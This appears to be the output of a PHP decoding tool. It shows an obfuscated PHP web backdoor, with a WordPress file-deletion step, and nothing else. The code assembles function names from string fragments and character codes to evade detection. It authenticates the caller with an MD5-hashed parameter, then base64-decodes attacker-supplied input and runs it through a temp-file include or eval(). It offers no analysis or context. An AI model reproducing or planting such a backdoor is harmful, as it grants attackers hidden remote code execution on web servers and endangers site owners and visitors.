PHP Decode

<?php error_reporting(0);                       $mprih = array_merge($_GET, $_COOKIE, $_POST);                          $sxazz = 'in_'.'ar'.'ray';              if($mprih['m']=='1') die('b77cfe0ef360a114c38561b61cabdb87');           if(md5($mprih['a0616'])==='b77cfe0ef360a114c38561b61cabdb87') amuxb($mprih);                            function amuxb($kjqof){                         $isndk ='fi'.'le_'.'exi'.'sts';                         $rykci ='f' .'op' .'en';                        $mqqzg = 'f'.'cl'.'ose';                        $aiysi = 'u'.'nl'.'ink';                                if($isndk('./wp-sale.js')){@$aiysi('./wp-sale.js');}                    $kkhym = 't'.'mpf'.'ile';                       $jiupx = 'fw'.'rite';                   $llkiy = 'fs'.'eek';                    $waljy = 'ba'.'se'.chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).'o'. chr(100) . chr(101);                  $sxazz = 'str'.'ea'.'m_'.'get'.'_m'.'eta'.'_'.'data';                                           $aovzv = $kkhym();                                              if(fwrite($aovzv, chr(60).chr(63).chr(112).chr(104).chr(112).chr(32). $waljy($kjqof['af013']))!=false){                                 include($sxazz($aovzv)['uri']);                                 $mqqzg($aovzv);                         } else {                                @eval($waljy($kjqof['af013']));                         }               }                                       ?>